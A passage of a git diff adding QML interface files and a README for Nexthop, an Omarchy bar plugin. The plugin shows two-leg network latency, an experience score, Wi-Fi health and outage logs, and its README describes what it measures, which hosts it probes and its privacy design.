reportProc.command = ["sh", "-c", + "cd \"$1\" && python3 -m nexthopd.cli report --window \"$2\" | wl-copy", + "sh", pluginDir, window || "24h"] + reportProc.running = true + } + Process { id: reportProc } + + // ---- open / close -------------------------------------------------------- + function open() { + root.controller.show() + setCenterHoverRevealSuppressed(false) + } + + function openFromHotkey() { + root.controller.show() + Qt.callLater(function() { + if (root.opened) setCenterHoverRevealSuppressed(true) + }) + } + + function close() { + // Hide first, and never the other way round. This used to call the bar + // before hiding, so when 4.0.3 made that call throw, the exception took + // the hide with it: the panel could not be closed by click, hotkey, IPC + // or a popout switch, and a KeyboardPanel's dismissal layer covers the + // whole screen. What the user can see must not depend on a host call we + // do not own. + root.controller.hide() + setCenterHoverRevealSuppressed(false) + } + + function toggle() { root.opened ? root.close() : root.openFromHotkey() } + + function switchPanel(direction) { + if (root.bar && typeof root.bar.switchPanelFrom === "function") + return root.bar.switchPanelFrom(root.barIdentity, direction) + return false + } + + // 4.0.3 hands third-party widgets a PluginBarApi facade where this is a + // readonly property fed by a setter; the property still answers `in`, so + // asking whether it exists says nothing about whether it can be written. + function setCenterHoverRevealSuppressed(value) { + if (root.bar && typeof root.bar.setCenterHoverRevealSuppressed === "function") + root.bar.setCenterHoverRevealSuppressed(value) + else if (root.bar && "centerHoverRevealSuppressed" in root.bar) + root.bar.centerHoverRevealSuppressed = value + } + + onOpenedChanged: { + if (opened) Qt.callLater(function() { + if (keyCatcher) keyCatcher.forceActiveFocus() + }) + } + + // ---- tabs ---------------------------------------------------------------- + readonly property var tabNames: ["Overview", "Latency", "Speed", "Wi-Fi", + "Apps", "Events", "Setup"] + // Setup carries a glyph rather than a word: it is a destination you visit + // rarely, and giving it an equal seventh of the strip would cost the six + // tabs that are read constantly. Its name stays in tabNames so the IPC + // route (`showTab Setup`) and the arrow keys treat it like any other. + readonly property int setupTab: tabNames.length - 1 + property int currentTab: 0 + + IpcHandler { + target: root.ipcTarget + function open(): void { root.openFromHotkey() } + function close(): void { root.close() } + function show(): void { root.openFromHotkey() } + function hide(): void { root.close() } + function toggle(): void { root.toggle() } + function speedTest(): void { root.runPeakTest() } + function showTab(name: string): void { + var i = root.tabNames.indexOf(name) + if (i >= 0) root.currentTab = i + root.openFromHotkey() + } + } + + // ---- surface ------------------------------------------------------------- + KeyboardPanel { + id: panelCard + anchorItem: root.anchorItem + owner: root.barIdentity + bar: root.bar + open: root.opened + focusTarget: keyCatcher + contentWidth: panelCard.fittedContentWidth(Style.space(524)) + contentHeight: panelCard.fittedContentHeight(bodyColumn.implicitHeight) + + PanelKeyCatcher { + id: keyCatcher + anchors.fill: parent + onCloseRequested: root.close() + onTabRequested: function(direction) { root.switchPanel(direction) } + + Keys.onPressed: function(event) { + // Left/right walk the tab strip; 1-6 jump straight to a tab (Setup, + // the seventh, has no digit — it is reached by arrow, click or IPC). + if (event.key === Qt.Key_Left) { + root.currentTab = (root.currentTab + root.tabNames.length - 1) % root.tabNames.length + event.accepted = true + } else if (event.key === Qt.Key_Right) { + root.currentTab = (root.currentTab + 1) % root.tabNames.length + event.accepted = true + } else if (event.key >= Qt.Key_1 && event.key <= Qt.Key_6) { + root.currentTab = event.key - Qt.Key_1 + event.accepted = true + } + } + + Column { + id: bodyColumn + width: parent.width + spacing: Style.space(12) + + // ---- header: identity + verdict --------------------------------- + Item { + width: parent.width + height: Math.max(headerLeft.implicitHeight, headerRight.implicitHeight) + + Row { + id: headerLeft + spacing: Style.space(10) + + Text { + textFormat: Text.PlainText + text: { + var s = root.live ? root.live.state : "" + if (s === "captive") return "󰦝" // nf-md-shield_lock: a gate, not a fault + if (s === "local-down" || s === "wan-down") return "󱚵" + return "󰓅" + } + color: root.bandColor(root.live && !root.stale ? root.live.index : null) + font.family: root.fontFamily + font.pixelSize: Style.fontPx(1.6) + anchors.verticalCenter: parent.verticalCenter + } + + Column { + spacing: Style.space(2) + anchors.verticalCenter: parent.verticalCenter + + Text { + textFormat: Text.PlainText + text: { + var l = root.live + if (!l) return "Nexthop" + var name = l.link + ? (l.link.ssid || l.link.name || l.link.iface || "") : "" + if (name) return name + // The link is gone, so there is no network to name. The + // app's own name sat here reading like a network called + // Nexthop; say what is true instead. + return l.state === "local-down" || l.state === "wan-down" + ? "No network" : "Nexthop" + } + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.heading + font.weight: Font.Bold + } + Row { + spacing: Style.space(6) + + Text { + textFormat: Text.PlainText + text: { + var l = root.live + if (!l) return "WAITING FOR DAEMON" + if (root.stale) return "NO DATA FOR " + root.staleForS + " S" + if (l.state === "captive") return "SIGN-IN REQUIRED" + if (l.state === "local-down") return "ROUTER UNREACHABLE" + if (l.state === "wan-down") return "NO INTERNET · ROUTER OK" + // The index is a weakest-link score whose slowest + // component can pin it, so it answers "how has this + // connection been" and not "is it bad right now". + // Queueing answers the second, and only earns a word + // here when it has one to say — clear adds nothing, so + // the common case costs no space at all. + var band = (l.band || "").toUpperCase() + return band + root.pressureSuffix + } + color: root.stale ? root.warnTone + : (root.live && root.live.state !== "online" + ? Color.urgent : root.dim) + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + // A newer version exists. Deliberately the quietest thing + // that can still be found: one dim glyph beside the verdict, + // the command on hover, and nothing that acts on its own. + // Same grammar as the bench glyph on the Overview. + Text { + visible: root.updateAvailable + textFormat: Text.PlainText + text: "󰚰" // nf-md-update + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + anchors.verticalCenter: parent.verticalCenter + + HoverHandler { id: updateHover } + PanelToolTip { + visible: updateHover.hovered && root.updateAvailable + text: root.updateTip() + } + } + } + } + } + + Item { + id: headerRight + anchors.right: parent.right + anchors.verticalCenter: parent.verticalCenter + width: indexText.implicitWidth + experienceLabel.implicitWidth + + Style.space(8) + height: indexText.implicitHeight + + Text { + id: indexText + textFormat: Text.PlainText + anchors.right: parent.right + text: root.live && !root.stale && root.live.index !== null + && root.live.index !== undefined ? String(root.live.index) : "--" + color: root.bandColor(root.live && !root.stale ? root.live.index : null) + font.family: root.fontFamily + font.pixelSize: Style.fontPx(2.4) + font.weight: Font.Bold + } + // On the number's baseline rather than under it — the label is + // one word, and a whole row of header for it was dead space. + Text { + id: experienceLabel + textFormat: Text.PlainText + anchors.right: indexText.left + anchors.rightMargin: Style.space(8) + anchors.baseline: indexText.baseline + text: "EXPERIENCE" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + } + } + + // ---- tab strip --------------------------------------------------- + Row { + width: parent.width + spacing: Style.space(6) + + Repeater { + model: root.tabNames + + Rectangle { + id: tabButton + required property string modelData + required property int index + readonly property bool selected: root.currentTab === index + + readonly property bool isSetup: index === root.setupTab + readonly property real setupWidth: Style.space(34) + + width: isSetup ? setupWidth + : (parent.width - Style.space(6) * (root.tabNames.length - 1) + - setupWidth) / (root.tabNames.length - 1) + height: Style.space(26) + color: selected + ? Style.selectedFillFor(root.fg, Color.accent) + : (tabHover.hovered + ? Style.hoverFillFor(root.fg, Color.accent) + : Style.normalFillFor(root.fg, Color.accent)) + border.width: selected ? 0 : Style.normalBorderWidth + border.color: Style.normalBorderFor(root.fg, Color.accent) + + Text { + textFormat: Text.PlainText + anchors.centerIn: parent + text: tabButton.isSetup ? "󰒓" : tabButton.modelData // nf-md-cog + color: tabButton.selected ? root.fg : root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + } + + HoverHandler { id: tabHover } + TapHandler { onTapped: root.currentTab = tabButton.index } + // A glyph does not name itself. + PanelToolTip { + visible: tabButton.isSetup && tabHover.hovered + text: "Settings" + } + } + } + } + + PanelSeparator { width: parent.width } + + // ---- the selected tab ------------------------------------------- + Loader { + width: parent.width + active: root.opened + sourceComponent: [overviewTab, latencyTab, speedTab, wifiTab, + appsTab, eventsTab, settingsTab][root.currentTab] + } + } + } + } + + Component { id: overviewTab; OverviewTab { panel: root } } + Component { id: latencyTab; LatencyTab { panel: root } } + Component { id: speedTab; SpeedTab { panel: root } } + Component { id: wifiTab; WifiTab { panel: root } } + Component { id: appsTab; AppsTab { panel: root } } + Component { id: eventsTab; EventsTab { panel: root } } + Component { id: settingsTab; SettingsTab { panel: root } } +} diff --git a/plugins/io.github.x3me.nexthop/PathChain.qml b/plugins/io.github.x3me.nexthop/PathChain.qml new file mode 100644 index 0000000..148e5ae --- /dev/null +++ b/plugins/io.github.x3me.nexthop/PathChain.qml @@ -0,0 +1,398 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import qs.Commons +import qs.Ui +import "pathspark.js" as Spark + +// laptop — router — internet, with per-leg latency on the connecting lines. +// The answer to "is it me or is it them", drawn rather than written. +Item { + id: root + + property var live: null + // The configured anchor: the far node's fallback label when no WAN + // address has been proven yet (see middle/far node text below). + property string anchor: "" + property color textColor: Color.popups.text + property color dimColor: Color.muted + + // A phone sharing its data, as detected by the daemon from the gateway + // range. `label` is what to call it — iPhone, Phone, Hotspot. + readonly property var metered: live && live.metered ? live.metered : null + readonly property bool tethered: !!(metered && metered.tethered) + + readonly property string middleTitle: tethered ? metered.label : "Router" + + readonly property string middleDetail: { + if (!live || !live.link) return "" + // On a hotspot the gateway is always the same fixed address for the + // platform, so it carries no information; the phone's own name does. + // iOS names the hotspot after the device, so the network name IS the + // handset's name. + if (tethered) return live.link.ssid || live.link.gateway || "" + return live.link.gateway || "" + } + + // Three minutes of each leg for the connectors. The ISP leg arrives already + // subtracted per point — see score.wan_point_ms — so nothing here re-derives + // it and the inversion guard keeps one implementation. + readonly property var points: panel ? panel.recentPoints : [] + readonly property var localSeries: Spark.slots(points, "local", Spark.SLOTS) + readonly property var wanSeries: Spark.slots(points, "wan", Spark.SLOTS) + // One zero-based scale for both, so a 2 ms wobble cannot outdraw the WAN. + readonly property real sparkMax: Spark.sharedMax([localSeries, wanSeries], + Spark.SCALE_FLOOR_MS) + // The panel already knows whether readings are arriving: the daemon writes + // live.json at 2 Hz and the bar widget calls it stale after five seconds. + // The ring is that fact drawn, not a second rule with a second clock. + readonly property bool sparkLive: !!(panel && !panel.stale) + + readonly property var localMs: live && live.local ? live.local.p50 : null + readonly property var wanMs: live && live.wan ? live.wan.p50 : null + readonly property bool localDown: live && live.state === "local-down" + readonly property bool wanDown: live && live.state === "wan-down" + + // The address this connection appears from, published by the daemon. + // Shown masked: Overview screenshots end up on forums, and a screenshot + // must not carry the poster's IP. Tapping the node reveals it; the + // reveal is never persisted anywhere. + readonly property var wanIp: live && live.wan_ip ? live.wan_ip : null + readonly property var seated: { + if (!live || !live.instruments) return [] + return live.instruments.filter(function(i) { return i.active }) + } + + // What the info glyph on the Internet node explains on hover: which + // instruments hold the scored seats right now. A caption line said + // "2 probes live" here once — permanent height for a once-read fact. + function benchTip() { + var lines = [] + for (var i = 0; i < seated.length; i++) { + var ins = seated[i] + lines.push(ins.kind + " \u00b7 " + ins.target + + (ins.p50 !== null && ins.p50 !== undefined + ? " \u2014 " + ins.p50.toFixed(1) + " ms" : "")) + } + var standby = live && live.instruments + ? live.instruments.length - seated.length : 0 + if (standby > 0) + lines.push(standby + " on standby \u2014 full bench on the Latency tab") + lines.push(detailOpen ? "tap to close" : "tap for detail") + return lines.join("\n") + } + + // Opening the detail is the deliberate act that reveals the address, so + // the two are one gesture. Held by the Panel so switching tabs does not + // close it; it resets with the shell, which is the right lifetime for a + // view preference. Never persisted — an Overview screenshot taken + // without opening this carries a masked address. + // Held by the Panel, like the other disclosure toggles, so switching + // tabs does not close it. Null-guarded: without a panel the detail + // simply never opens rather than throwing on every tap. + property var panel: null + readonly property bool detailOpen: !!(panel && panel.wanDetailOpen) + readonly property bool revealIp: detailOpen + + function ipLine() { + if (!wanIp || !wanIp.ip) return "" + var parts = [String(wanIp.ip)] + // Country and edge ride along in the response the reachability check + // already fetches. The edge is Cloudflare's datacentre, not the + // user's location, so it is labelled as the route and not as a place. + if (wanIp.country) parts.push(wanIp.country) + if (wanIp.edge) parts.push("via Cloudflare " + wanIp.edge) + return parts.join(" \u00b7 ") + } + + function legLine() { + var l = localMs, w = wanMs + if ((l === null || l === undefined) && (w === null || w === undefined)) + return "" + var f = function(v) { + return v === null || v === undefined ? "\u2014" : v.toFixed(2) + " ms" + } + return "local " + f(l) + " \u00b7 wan " + f(w) + } + + function probeLine() { + if (seated.length === 0) return "" + var parts = [] + for (var i = 0; i < seated.length; i++) { + var ins = seated[i] + parts.push(ins.kind + " " + ins.target + + (ins.p50 !== null && ins.p50 !== undefined + ? " " + ins.p50.toFixed(1) : "")) + } + var standby = live && live.instruments + ? live.instruments.length - seated.length : 0 + var out = parts.join(" \u00b7 ") + if (standby > 0) out += " (+" + standby + " standby)" + return out + } + + function loadLine() { + var lag = live && live.lag ? live.lag : null + if (!lag || lag.idle === null || lag.idle === undefined + || lag.loaded === null || lag.loaded === undefined) return "" + // The daemon withholds `inflation` when the two populations are too + // close to separate or the ratio came out backwards. Absent inflation + // means the pair is not trustworthy either, so the whole row goes — + // printing "idle 13.0 -> loaded 10.9" states that the link answers + // FASTER while busy, which queueing cannot do. A result that is wrong + // in direction is not a result, and it is not made safe by dropping + // only the ratio computed from it. + if (lag.inflation === null || lag.inflation === undefined) return "" + return "idle " + lag.idle.toFixed(1) + + " \u2192 loaded " + lag.loaded.toFixed(1) + " ms" + + " (" + lag.inflation.toFixed(2) + "\u00d7)" + } + + function appsLine() { + var s = live && live.sockets ? live.sockets : null + if (!s || s.queue_p50 === null || s.queue_p50 === undefined) return "" + var out = "queue " + s.queue_p50.toFixed(1) + " ms typical" + if (s.queue_p95 !== null && s.queue_p95 !== undefined) + out += ", " + s.queue_p95.toFixed(1) + " worst" + if (s.sockets) out += " over " + s.sockets + " connections" + return out + } + + function maskedIp(w) { + if (!w || !w.ip) return "" + var full = String(w.ip) + if (revealIp) return full + if (w.family === "v6") + return full.split(":").slice(0, 2).join(":") + ":\u2026" + return full.split(".").slice(0, 2).join(".") + ".\u2026" + } + + function legColor(ms, down) { + if (down) return Color.urgent + if (ms === null || ms === undefined) return dimColor + if (ms <= 15) return "#9ece6a" + if (ms <= 50) return "#e0af68" + return Color.urgent + } + + // One animator for both legs, stopped the moment the liveness claim stops + // being true: a panel left open must never keep pulsing over stale data. + property real ringPhase: 0 + NumberAnimation on ringPhase { + running: root.sparkLive && root.motionOk + loops: Animation.Infinite + from: 0; to: 1; duration: 1400 + } + // Omarchy's own animation preference; a user who turns the bar's motion off + // gets a static second circle rather than nothing, so the claim still reads. + readonly property bool motionOk: { + var b = panel ? panel.bar : null + if (!b || !("foregroundAnimationEnabled" in b)) return true + return b.foregroundAnimationEnabled === true + } + + implicitHeight: stack.implicitHeight + + Column { + id: stack + width: parent.width + spacing: Style.space(10) + + Row { + id: row + width: parent.width + + component Node: Column { + property string icon: "" + property string title: "" + property string detail: "" + width: Style.space(84) + spacing: Style.space(4) + + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: parent.icon + color: root.textColor + font.family: Style.font.family + font.pixelSize: Style.font.iconLarge + } + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: parent.title + color: root.textColor + font.family: Style.font.family + font.pixelSize: Style.font.caption + } + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: parent.detail + color: root.dimColor + font.family: Style.font.family + font.pixelSize: Style.font.caption + elide: Text.ElideMiddle + width: parent.width + horizontalAlignment: Text.AlignHCenter + } + } + + component Leg: Column { + property var ms: null + property bool down: false + property string label: "" + property var series: [] + width: (row.width - Style.space(84) * 3) / 2 + spacing: Style.space(4) + // Sits a little above the node centres so the line meets the icons. + topPadding: Style.space(8) + + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: parent.down ? "down" + : (parent.ms === null || parent.ms === undefined + ? "--" : parent.ms.toFixed(1) + " ms") + color: root.legColor(parent.ms, parent.down) + font.family: Style.font.family + font.pixelSize: Style.font.bodySmall + } + Canvas { + id: spark + width: parent.width - Style.space(12) + anchors.horizontalCenter: parent.horizontalCenter + // 16 left the plot 9 px tall with nothing spare, so the ring was + // cut on every side it could reach. The margin the ring needs is + // fixed; buying it out of the plot would have left a 3 px band. + // This keeps the same 9 px of plot and costs six pixels once — + // the connectors are side by side, so it is six for the panel, + // not six per leg. + height: Style.space(22) + antialiasing: true + // Repainting on every phase tick is what the ring costs; the series + // only changes every five seconds. + property real phase: root.ringPhase + property var series: parent.series + property real sparkScale: root.sparkMax + onPhaseChanged: requestPaint() + onSeriesChanged: requestPaint() + onSparkScaleChanged: requestPaint() + onPaint: { + var ctx = getContext("2d") + Spark.draw(ctx, width, height, series, { + max: sparkScale, + phase: phase, + live: root.sparkLive, + motion: root.motionOk, + downColor: Color.urgent, + colorFor: root.legColor + }) + } + } + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: parent.label + color: root.dimColor + font.family: Style.font.family + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + } + + Node { + icon: "󰌢" // nf-md-laptop + title: "This machine" + detail: root.live && root.live.link ? (root.live.link.iface || "") : "" + } + Leg { + ms: root.localMs + down: root.localDown + label: "LOCAL" + series: root.localSeries + } + // When the connection comes from a phone, this node is the phone. Drawing + // a router here mislabelled both legs at once: the local leg is the hop + // to the handset, and everything past it is cellular, not an ISP line. + Node { + icon: root.tethered ? "󰄜" : "󰑩" // nf-md-cellphone / nf-md-router_wireless + title: root.middleTitle + detail: root.middleDetail + } + Leg { + ms: root.wanMs + down: root.wanDown + label: "WAN" + series: root.wanSeries + } + Node { + icon: "󰖟" // nf-md-web + title: "Internet" + // Your address out there, not the probe target: with a bench of + // instruments there is no single anchor to name, and naming one + // read as "this monitors Cloudflare". Masked — screenshots end up + // on forums; tap to reveal, never persisted. + detail: (root.wanIp ? root.maskedIp(root.wanIp) : root.anchor) + + (root.seated.length > 0 ? " 󰋽" : "") + + TapHandler { + onTapped: if (root.panel) root.panel.wanDetailOpen = !root.panel.wanDetailOpen + } + HoverHandler { id: inetHover } + PanelToolTip { + visible: inetHover.hovered && root.seated.length > 0 + text: root.benchTip() + } + } + } + + // What the far node knows, shown only when asked for. Everything here + // is already measured — no extra request, no new destination — and it + // is deliberately what a single-number internet score cannot show: two + // legs, which instruments produced them, and what the machine's own + // connections are experiencing. + Column { + id: detail + width: parent.width + spacing: Style.space(4) + visible: root.detailOpen + // A visible:false child still takes its share of a Column's spacing. + height: visible ? implicitHeight : 0 + + component DetailRow: Row { + property string label: "" + property string value: "" + visible: value !== "" + height: visible ? implicitHeight : 0 + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + text: parent.label + color: root.dimColor + font.family: Style.font.family + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + width: Style.space(72) + } + Text { + textFormat: Text.PlainText + text: parent.value + color: root.textColor + font.family: Style.font.family + font.pixelSize: Style.font.caption + elide: Text.ElideRight + width: detail.width - Style.space(80) + } + } + + DetailRow { label: "ADDRESS"; value: root.ipLine() } + DetailRow { label: "LEGS"; value: root.legLine() } + DetailRow { label: "PROBES"; value: root.probeLine() } + DetailRow { label: "UNDER LOAD"; value: root.loadLine() } + DetailRow { label: "APPS SEE"; value: root.appsLine() } + } + + } +} diff --git a/plugins/io.github.x3me.nexthop/README.md b/plugins/io.github.x3me.nexthop/README.md new file mode 100644 index 0000000..f613648 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/README.md @@ -0,0 +1,241 @@ +# Nexthop + +**Is it your Wi-Fi, or your ISP? Know before you reboot anything.** + +Nexthop sits in your [Omarchy](https://omarchy.org) bar and watches both +halves of your connection — this machine to the router, and the router to +the internet. When things feel slow, one glance tells you which side of +the router owns the problem. + +![Nexthop panel](preview.png) + +## Why you'd want it + +- **An answer, not a graph.** One 0–100 score in the bar, colour-coded. + Green means stop worrying. When it drops, the panel says why — in the + words you'd use to a person: responsiveness, reliability, speed. +- **"Is it me or is it them", settled.** The Overview draws your laptop, + your router and the internet with a live latency number on each leg. + The slow leg is the guilty one. +- **Proof your ISP can't wave away.** Every outage is logged with its + start, duration and which side failed. *Copy report* produces the + plain-text summary a support desk actually asks for. +- **It sees what you can't.** A router silently kicking your laptop off + Wi-Fi, an access point renegotiating to a crawl, the 3 a.m. outage that + was over before breakfast — all in the log, with timestamps and + durations. +- **Speed answers without speed tests.** Small hourly checks keep the + speed score honest; the big saturating test runs only when you ask. + +## It won't get in your way + +- **No root, ever.** No sudo, no capabilities, no packet capture. It runs + as your user and reads what any process may read. +- **You won't feel it.** About 3 % of one CPU core and ~30 MB of memory — + no fan, no stutter, nothing competing with your work. +- **It doesn't clog your line.** The probes are pings and payload-free + handshakes and add up to a few MB an hour; the hourly speed check is + up to about 20 MB on a fast line and a fraction of that on a slower one, + and can be turned off. Nothing saturates your connection + unless you press the button. +- **Private by construction.** Everything it measures stays on your machine + — no account, no cloud, no telemetry. Even your own IP is shown masked, so + a screenshot of the panel is safe to post. The one thing it asks the + outside world is whether a newer version exists: once a day it asks the + repository you installed from, sends nothing about you, and shows a small + marker if so. Turn that off in the panel's Setup tab (the cog) and it + asks nothing. + +## Made for Omarchy + +Nexthop is not a ported app — it is built for this desktop. It follows +your theme automatically, uses the shell's own type and spacing, and +opens instantly from the bar like every other panel. It is MIT-licensed, +built in the open, and shaped by community feedback — the masked WAN +address on the Overview came from a reader's suggestion the day after +launch. + +## Install + +```bash +omarchy plugin add https://github.com/x3me/omarchy-nexthop.git --enable +``` + +Updating is Omarchy's own `omarchy plugin update`, which shows you +what changed before applying it. Nexthop checks once a day whether a newer +version is published and marks the panel header if so; it never installs +anything itself. + +Requirements: `python3`, `ping`, `curl`, `ss`, `ip` and `git` (all present on +a stock Omarchy; `git` only serves the daily update check), `iw` for Wi-Fi +detail, `wl-copy` for Copy report, optionally `nmcli` for the metered flag +and `speedtest` (Ookla) for peak tests. + +| Latency, by leg | Speed | +|---|---| +| ![Latency tab](docs/latency.png) | ![Speed tab](docs/speed.png) | + +| Wi-Fi | Applications | +|---|---| +| ![Wi-Fi tab](docs/wifi.png) | ![Apps tab](docs/apps.png) | + +The event log, naming who did what — including the router that kicks: + +![Events tab](docs/events.png) + +## Using it + +- **Bar widget**: the index, the lag figure, or just the icon + (`displayMode` on the widget's entry in `~/.config/omarchy/shell.json`). + Colour is the verdict; during an outage it shows how long you've been + down. Click opens the panel, middle-click runs a peak test. +- **Panel tabs**: Overview (is it me or is it them), Latency (window picker, + per-leg stats, latency under load), Speed (content history + last peak), + Wi-Fi (the local leg in detail, airtime, link events), Apps (who is using + the connection), Events (what happened + Copy report), and a Setup cog + with the four settings worth reaching from the panel. Arrow keys or 1–6 + switch tabs. +- **CLI**: `bin/nexthop live | query --window 24h | events | tests | report | peak` + — all JSON except `report`. +- **IPC**: `omarchy-shell io.github.x3me.nexthop toggle | speedTest | + showTab Latency` + +## What it measures + +- **Two-leg latency, twice a second.** One persistent probe to your + gateway, others to the internet. The difference between the legs is + your ISP; the gateway leg is your Wi-Fi. +- **Lag** — one number for how the connection feels, folding latency, jitter + (RFC 3550 IPDV) and packet loss, reported as best / typical / worst. +- **An experience index (0–100)** from three components — the weakest sets + the number and the other two nudge it, so one broken dimension cannot + hide behind two good ones: + - *Responsiveness* — scored from lag + - *Reliability* — uptime, charged in time: outages in full, brief + self-healed interruptions at half + - *Speed* — scored from small periodic **content checks** (up to ~20 MB on + a fast line, ~4 MB on a slow one, + hourly by default), not from saturating speed tests. No configuration: + the score answers "is it fast enough" on an experience-anchored curve + (diminishing returns past ~100 Mbps), minus a penalty when the line + drops well below **its own recent p90** — so shared-office variance + stays quiet while genuine degradation shows. Setting a plan in the + widget settings switches to plan-accountability scoring instead +- **Peak speed tests, on demand only.** Prefers the official Ookla + `speedtest` CLI when installed; falls back to Cloudflare, then fast.com — + both need nothing beyond `curl`. Loaded latency (bufferbloat) is captured + during every run by the probes that were already watching. +- **Wi-Fi health**: signal against a labelled scale, band/channel/rates, + and the airtime counters (retries, failures, beacon loss) that explain + why Wi-Fi feels slow when the signal bar looks full. +- **Link events**: every change of access point says who ended the + previous association — a *roam* (this machine chose to move), a *kick* + (the access point deauthenticated us, with its 802.11 reason code) or a + *drop* (the link fell over) — plus channel and signal deltas, + associations, and sustained Wi-Fi rate drops, logged with durations. +- **WAN address**: the IP this connection appears from, on the Overview + path — masked (`103.87.…`) with tap-to-reveal, because panel screenshots + end up on forums. Asked of `speed.cloudflare.com`, a host the daemon + already talks to; shown live, never written to history. +- **Per-application traffic** — top apps by TCP connection counters + (`ss -tinp`, no root, no packet capture), each with a one-minute history + strip and session totals. What Linux won't attribute without privileges + (QUIC/UDP, overhead) is shown as its own bucket rather than hidden. +- **Outage detection** with a notification once an outage has lasted a few + seconds and one when it clears — naming the leg that failed. Brief + self-healed interruptions are logged, never notified. A wan outage needs the + probes to agree: if TCP handshakes keep succeeding while pings go + unanswered, the log records an "ICMP went quiet" event instead — no + alarm for downtime you are not having. +- **History**: per-minute for 7 days (configurable), hourly for a year, + every test and event kept. A month of monitoring stays under ~12 MB. +- **Copy report** — a plain-text summary of the window you are looking at, + with timestamps, both legs and loss. The thing an ISP actually asks for. + +## How it works + +The QML plugin is a thin reader. All measurement lives in **nexthopd**, a +Python 3 daemon (standard library only, no pip), spawned and supervised by +the plugin's shell service. Five files are the whole contract — four the +daemon writes, one the panel writes for it: + +| file | cadence | consumer | +|---|---|---| +| `$XDG_RUNTIME_DIR/nexthop/live.json` | 2× per second | the bar widget | +| `$XDG_RUNTIME_DIR/nexthop/recent.json` | every 5 s | the panel's 30-min graphs | +| `$XDG_RUNTIME_DIR/nexthop/apps.json` | every 3 s | the Apps tab | +| `~/.local/state/nexthop/history.db` | 1-min rows | `nexthop query`, longer windows | +| `~/.local/state/nexthop/config.json` | when a setting changes | the daemon — **derived, not edited**: the panel rewrites it from your bar entry every time the shell starts, so changes made here are overwritten. Settings live in `~/.config/omarchy/shell.json` | + +The three snapshots are rewritten many times a minute between them and mean +nothing after a reboot, so they live in the session's runtime directory, +which is a tmpfs: they never touch the disk. History and settings stay +under `~/.local/state`. The daemon never talks to the shell, so either side +restarts without the other noticing — and your history survives every +theme change. + +To keep monitoring while the shell is down, install the optional +systemd unit (see the comments in [`nexthopd.service`](nexthopd.service), +which also confines the daemon with the systemd sandboxing it can live inside); +the daemon holds a lock, so the shell service simply attaches. + +### What it talks to, and what that costs + +The internet leg is measured by a small pool of instruments: ICMP and a +TCP handshake to the anchor you configure (`1.1.1.1` by default), plus TCP +handshakes to `speed.cloudflare.com` and `dns.google` — one probe target +outside Cloudflare, so a Cloudflare incident cannot silence the whole +pool. The **two best** instruments — fewest losses, steadiest tails, +re-ranked every five minutes with flap damping — feed the score; the rest +idle at a tenth of the rate. One anchor having a bad day stops being your +connection's bad day. Beyond the pool, the only other contacts are the +speed-test hosts named at the end and the once-a-day update check against +the repository you installed from. + +| Probe | Where | Cost | +| --- | --- | --- | +| ICMP | your gateway, and the anchor while seated | ~30 MB/day per target on the wire at the default 500 ms — two 84-byte packets a second; the gateway's share never leaves your LAN | +| TCP handshakes | the instrument pool, port 443, ~1/s while seated | ~20 MB/day per seated instrument — connections opened and closed, no payload | +| Reachability check | speed.cloudflare.com/cdn-cgi/trace | one ~1 KB HTTPS request when the network changes and hourly after that; every 30 s only while a sign-in page is suspected. Proves the real internet answered, and supplies the WAN address | +| Content check | speed.cloudflare.com | sized to the line — up to ~20 MB on a fast one, ~4 MB on a slow one; hourly, and can be turned off | +| Peak test | Ookla / Cloudflare / fast.com | up to ~600 MB, **only ever when you ask** | +| Update check | the repository you installed from (`git ls-remote`) | one request a day, carrying nothing about you; off in the Setup tab | + +The TCP probes exist because ICMP is not what applications +experience: routers commonly answer pings from hardware while real traffic +waits in the queues that actually cause delay, and they rate-limit pings +under load. Measuring both, against the same host, shows the difference +rather than assuming it. + +Peak tests size themselves to saturate the line for ~10 s each way — far +less on a slow one — and run only from the panel, by middle-clicking the +bar widget, or via IPC. + +**Privileges: none.** No sudo, no capabilities, no packet capture. The +daemon runs as your user; everything it reads is world-readable (`/sys` +counters, `ping`, `iw`, `ss`). + +## Remove + +```bash +omarchy plugin remove io.github.x3me.nexthop +``` + +Measurement history stays in `~/.local/state/nexthop/`; delete that +directory too if you want nothing left behind. If you installed the +optional systemd unit: `systemctl --user disable --now nexthopd` and +remove `~/.config/systemd/user/nexthopd.service`. + +## Development + +```bash +python3 -m unittest discover -s test # fixtures recorded from real hardware +python3 -m nexthopd # run the daemon in the foreground +``` + +Design mockups live in `design/` as the source artboards of the project's +design canvas. + +## License + +MIT © [Extreme Labs](https://github.com/x3me) diff --git a/plugins/io.github.x3me.nexthop/ScorePillar.qml b/plugins/io.github.x3me.nexthop/ScorePillar.qml new file mode 100644 index 0000000..7cbe89f --- /dev/null +++ b/plugins/io.github.x3me.nexthop/ScorePillar.qml @@ -0,0 +1,71 @@ +import QtQuick +import qs.Commons + +// One of the three component scores: label, number, meter, one-line note. +Column { + id: root + + property string label: "" + property var value: null // 0-100 or null + property string note: "" + property color textColor: Color.popups.text + property color dimColor: Color.muted + + // Set when the number alone would mislead — a 24-hour reliability score + // still reading 100 in the first minute of an outage, say. The value is + // true, the green is not. + property var toneOverride: null + + readonly property color tone: { + if (toneOverride) return toneOverride + if (value === null || value === undefined) return dimColor + if (value >= 80) return "#9ece6a" + if (value >= 50) return "#e0af68" + return Color.urgent + } + + spacing: Style.space(5) + + Text { + textFormat: Text.PlainText + text: root.label + color: root.dimColor + font.family: Style.font.family + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + Text { + textFormat: Text.PlainText + text: root.value === null || root.value === undefined + ? "--" : String(Math.round(root.value)) + 